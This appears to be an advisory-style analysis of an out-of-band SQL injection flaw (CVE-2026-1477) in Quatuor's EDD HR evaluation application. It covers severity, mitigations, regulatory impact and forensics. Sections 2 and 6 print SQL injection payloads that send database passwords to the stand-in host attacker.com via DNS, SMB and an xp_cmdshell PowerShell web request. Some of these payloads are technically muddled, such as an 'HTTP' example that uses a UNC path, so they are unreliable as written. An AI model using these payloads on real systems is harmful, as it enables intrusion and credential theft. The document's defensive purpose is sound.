Comprehensive Technical Analysis of EUVD-2026-4749 (CVE-2026-1477)

Out-of-Band SQL Injection (OOB SQLi) in Quatuor Performance Evaluation (EDD) Application

1. Vulnerability Assessment and Severity Evaluation

Vulnerability Overview

EUVD-2026-4749 (CVE-2026-1477) describes an Out-of-Band SQL Injection (OOB SQLi) vulnerability in the Evaluación de Desempeño (EDD) application, developed by Gabinete Técnico de Programación (Quatuor). The flaw resides in the Id_usuario and Id_evaluacion parameters of the /evaluacion_competencias_evalua_old.aspx endpoint, allowing attackers to exfiltrate sensitive database information via external network channels rather than direct application responses.

CVSS v4.0 Severity Analysis

Metric	Value	Explanation
Attack Vector (AV)	Network (N)	Exploitable remotely over the internet.
Attack Complexity (AC)	Low (L)	No specialized conditions required.
Attack Requirements (AT)	None (N)	No prior authentication or interaction needed.
Privileges Required (PR)	None (N)	No privileges required for exploitation.
User Interaction (UI)	None (N)	No user interaction required.
Vulnerable Confidentiality (VC)	High (H)	Full database content disclosure possible.
Vulnerable Integrity (VI)	High (H)	Potential for data manipulation (e.g., via stacked queries).
Vulnerable Availability (VA)	Low (L)	Limited impact on system availability.
Subsequent Confidentiality (SC)	None (N)	No further confidentiality impact beyond initial breach.
Subsequent Integrity (SI)	None (N)	No further integrity impact beyond initial breach.
Subsequent Availability (SA)	None (N)	No further availability impact.

Base Score: 9.3 (Critical) The Critical severity stems from:

• Remote exploitability without authentication.
• High confidentiality and integrity impact due to potential full database compromise.
• Low attack complexity, making it accessible to moderately skilled attackers.

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2. Potential Attack Vectors and Exploitation Methods

Exploitation Mechanism

OOB SQLi differs from classic SQLi by leveraging external network interactions (e.g., DNS, HTTP, SMB) to exfiltrate data, bypassing traditional detection mechanisms that rely on direct application responses.

Step-by-Step Exploitation

1. Identify Vulnerable Parameters

   • The attacker probes Id_usuario and Id_evaluacion in /evaluacion_competencias_evalua_old.aspx for SQLi.
   • Example payload:

     Id_usuario=1 AND (SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM users LIMIT 1),'.attacker.com\\share\\')))
     

     (Attempts to force the database to make an SMB request to an attacker-controlled server.)

2. Data Exfiltration via External Channels

   • DNS Exfiltration (Most common):

     Id_usuario=1 AND (SELECT EXTRACTVALUE(1,CONCAT(0x5C,(SELECT password FROM users LIMIT 1),0x2E,0x61747461636B65722E636F6D)))
     

     (Forces a DNS lookup to password.attacker.com, where the attacker logs the subdomain.)
   • HTTP Exfiltration:

     Id_usuario=1 AND (SELECT 1 INTO OUTFILE '\\\\attacker.com\\share\\stolen_data.txt')
     

     (Writes data to an attacker-controlled UNC path.)
   • Time-Based OOB (If network exfiltration is blocked):

     Id_usuario=1 AND IF((SELECT SUBSTRING(password,1,1) FROM users LIMIT 1)='a',SLEEP(5),0)
     

     (Uses delay-based techniques if direct exfiltration fails.)

3. Database Fingerprinting & Enumeration

   • Attackers may first determine the DBMS (e.g., Microsoft SQL Server, MySQL, PostgreSQL) using:

     Id_usuario=1 AND @@VERSION LIKE '%SQL Server%'
     

   • Then extract schema, tables, and sensitive data (e.g., PII, credentials, evaluation records).

4. Post-Exploitation

   • Privilege Escalation: If the DB user has high privileges, attackers may execute OS commands (e.g., xp_cmdshell in MSSQL).
   • Lateral Movement: Stolen credentials may enable access to other internal systems.

Attacker Profile

• Low to Medium Skill Level: OOB SQLi tools (e.g., SQLmap with --dns-domain, Burp Collaborator) automate exploitation.
• Advanced Threat Actors: May chain this with other vulnerabilities (e.g., SSRF, XXE) for deeper compromise.

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3. Affected Systems and Software Versions

Impacted Product

• Application: Evaluación de Desempeño (EDD) (Performance Evaluation System)
• Vendor: Gabinete Técnico de Programación (Quatuor)
• Affected Versions: All versions (as per ENISA ID 3946b88f-21fc-3c85-ad5b-349712672006)
• Vulnerable Endpoint: /evaluacion_competencias_evalua_old.aspx
• Parameters: Id_usuario, Id_evaluacion

Underlying Technologies (Likely)

• Backend: ASP.NET (Legacy, given .aspx extension)
• Database: Microsoft SQL Server (common in enterprise environments)
• Authentication: Likely forms-based or integrated Windows auth (NTLM/Kerberos)

Deployment Context

• Sector: Public administration, HR departments, corporate performance management.
• Geographic Scope: Primarily Spain and Latin America (given Spanish-language interface).
• Criticality: High, as EDD systems often store employee performance data, salaries, and sensitive HR records.

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4. Recommended Mitigation Strategies

Immediate Remediation (Short-Term)

1. Input Validation & Parameterized Queries

   • Replace dynamic SQL with prepared statements (e.g., SqlCommand with parameters in .NET).
   • Whitelist input validation for Id_usuario and Id_evaluacion (numeric-only, length restrictions).

2. Web Application Firewall (WAF) Rules

   • Deploy ModSecurity with OWASP Core Rule Set (CRS) to block SQLi patterns.
   • Custom rules to detect OOB exfiltration attempts (e.g., DNS/HTTP requests from DB queries).

3. Database-Level Protections

   • Disable dangerous functions:
     • xp_cmdshell, OPENROWSET, LOAD_FILE, INTO OUTFILE (MySQL).
     • sp_OACreate, xp_dirtree (MSSQL).
   • Least Privilege Principle: Restrict DB user permissions (no sa access for application accounts).
   • Enable SQL Server Audit Logging to detect suspicious queries.

4. Network-Level Controls

   • Block outbound SMB/DNS/HTTP from database servers to untrusted domains.
   • Isolate database servers in a DMZ or private subnet with strict egress filtering.

Long-Term Mitigations

1. Code Review & Secure Development

   • Static Application Security Testing (SAST): Use SonarQube, Checkmarx, or Fortify to detect SQLi.
   • Dynamic Application Security Testing (DAST): Burp Suite, OWASP ZAP to identify OOB vectors.
   • Secure Coding Training: Educate developers on parameterized queries and ORM usage (e.g., Entity Framework).

2. Application Modernization

   • Migrate from legacy ASP.NET to ASP.NET Core with built-in anti-SQLi protections.
   • Implement API-based architecture (REST/gRPC) with JWT/OAuth2 for authentication.

3. Incident Response Preparedness

   • Monitor for OOB exfiltration attempts (e.g., unusual DNS queries from DB servers).
   • Deploy EDR/XDR solutions (e.g., CrowdStrike, SentinelOne) to detect post-exploitation activity.
   • Prepare forensic playbooks for SQLi breaches (e.g., database transaction log analysis).

4. Vendor Coordination

   • Apply patches if Quatuor releases an update (monitor INCIBE and CVE-2026-1477).
   • Temporary workaround: Disable /evaluacion_competencias_evalua_old.aspx if not critical.

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5. Impact on the European Cybersecurity Landscape

Sector-Specific Risks

• Public Administration & HR Systems:

  • EDD applications are high-value targets for espionage, insider threats, and ransomware actors.
  • GDPR Compliance Risk: Unauthorized access to employee performance data may violate Article 5 (Data Minimization) and Article 32 (Security of Processing).
  • Supply Chain Attacks: If Quatuor’s software is used by government agencies or critical infrastructure, this could enable lateral movement into sensitive networks.

• Healthcare & Education:

  • Similar performance evaluation systems in hospitals and universities may be affected, leading to PII leaks or academic fraud.

Threat Actor Motivations

Threat Actor	Motivation	Potential Impact
Cybercriminals	Data theft for fraud, extortion, or sale on dark web	Financial loss, reputational damage
State-Sponsored APTs	Espionage, intelligence gathering	National security risks, diplomatic incidents
Insider Threats	Sabotage, blackmail, or personal gain	Internal data leaks, workplace conflicts
Hacktivists	Exposing misconduct or corruption	Public shaming, regulatory scrutiny

Regulatory & Compliance Implications

• NIS2 Directive (EU 2022/2555): If the affected organization is an essential entity, this vulnerability may trigger mandatory reporting to CSIRTs.
• GDPR (EU 2016/679): A breach could result in fines up to €20M or 4% of global revenue.
• ENISA Guidelines: Failure to patch may violate ENISA’s recommendations on secure software development.

Broader Cybersecurity Trends

• Increase in OOB SQLi Attacks: As WAFs and RASP solutions improve, attackers shift to stealthier exfiltration methods.
• Legacy System Vulnerabilities: Many public sector applications in Europe rely on outdated .NET frameworks, making them prime targets.
• Supply Chain Risks: Third-party software (e.g., Quatuor’s EDD) introduces hidden attack surfaces in enterprise environments.

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6. Technical Details for Security Professionals

Exploitation Proof of Concept (PoC)

DNS Exfiltration (MySQL Example)

-- Extract first 10 characters of the 'password' column from 'users' table
Id_usuario=1 AND (SELECT EXTRACTVALUE(1,CONCAT(0x5C,(SELECT SUBSTRING(password,1,10) FROM users LIMIT 1),0x2E,0x61747461636B65722E636F6D)))

• Result: The database performs a DNS lookup to a1b2c3d4e5.attacker.com, where a1b2c3d4e5 is the extracted password substring.

HTTP Exfiltration (MSSQL Example)

-- Force the DB to make an HTTP request to an attacker-controlled server
Id_usuario=1; EXEC xp_cmdshell 'powershell -c "Invoke-WebRequest -Uri http://attacker.com/?data=$(SELECT TOP 1 password FROM users)"'

• Result: The attacker’s server logs the stolen password in the HTTP request.

Detection & Forensics

Indicators of Compromise (IoCs)

IoC Type	Example
DNS Queries	Unusual subdomains (e.g., a1b2c3d4e5.attacker.com)
HTTP Requests	Outbound connections to attacker.com from DB server
Database Logs	Queries containing EXTRACTVALUE, LOAD_FILE, xp_cmdshell
WAF Alerts	SQLi patterns with AND (SELECT or UNION SELECT

Forensic Analysis Steps

1. Database Log Review

   • Check SQL Server Profiler or MySQL General Query Log for suspicious queries.
   • Look for time-based delays (SLEEP, WAITFOR DELAY).

2. Network Traffic Analysis

   • PCAP Analysis: Filter for DNS TXT records or HTTP requests to unknown domains.
   • Proxy Logs: Inspect outbound traffic from the web server to the DB.

3. Endpoint Detection & Response (EDR)

   • Check for unusual child processes (e.g., powershell.exe spawned by sqlservr.exe).
   • Look for fileless malware (e.g., Cobalt Strike, Metasploit).

4. Memory Forensics

   • Use Volatility to dump SQL Server process memory and search for injected queries.

Advanced Mitigation Techniques

Technique	Implementation
Runtime Application Self-Protection (RASP)	Deploy Contrast Security, Hdiv to block SQLi at runtime.
Database Activity Monitoring (DAM)	Use IBM Guardium, Imperva to detect anomalous queries.
Deception Technology	Deploy honeypot databases to catch attackers.
Zero Trust Architecture	Enforce micro-segmentation to limit DB server access.

Tools for Exploitation & Defense

Purpose	Tools
Exploitation	SQLmap (--dns-domain), Burp Collaborator, Metasploit (mssql_enum)
Detection	Wireshark (DNS/HTTP analysis), Splunk (SIEM), Elastic Stack (log correlation)
Mitigation	ModSecurity (WAF), Microsoft Defender for SQL, Prisma Cloud (CSPM)

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Conclusion & Recommendations

EUVD-2026-4749 (CVE-2026-1477) represents a critical OOB SQLi vulnerability with high exploitability and severe impact on confidentiality and integrity. Given its remote, unauthenticated nature, organizations using Quatuor’s EDD application must immediately apply mitigations to prevent data breaches.

Key Actions for Security Teams

1. Patch or Disable the vulnerable endpoint if no fix is available.
2. Implement WAF rules to block OOB exfiltration attempts.
3. Restrict database permissions and disable dangerous functions.
4. Monitor for IoCs (unusual DNS/HTTP traffic from DB servers).
5. Conduct a forensic review if exploitation is suspected.

Strategic Recommendations for European Organizations

• Accelerate legacy system modernization to reduce attack surfaces.
• Enhance supply chain security by vetting third-party software vendors.
• Strengthen incident response for SQLi breaches, including GDPR reporting procedures.

This vulnerability underscores the critical need for proactive security measures in public sector and enterprise applications, particularly those handling sensitive HR and performance data. Failure to address it could result in regulatory penalties, reputational damage, and operational disruptions.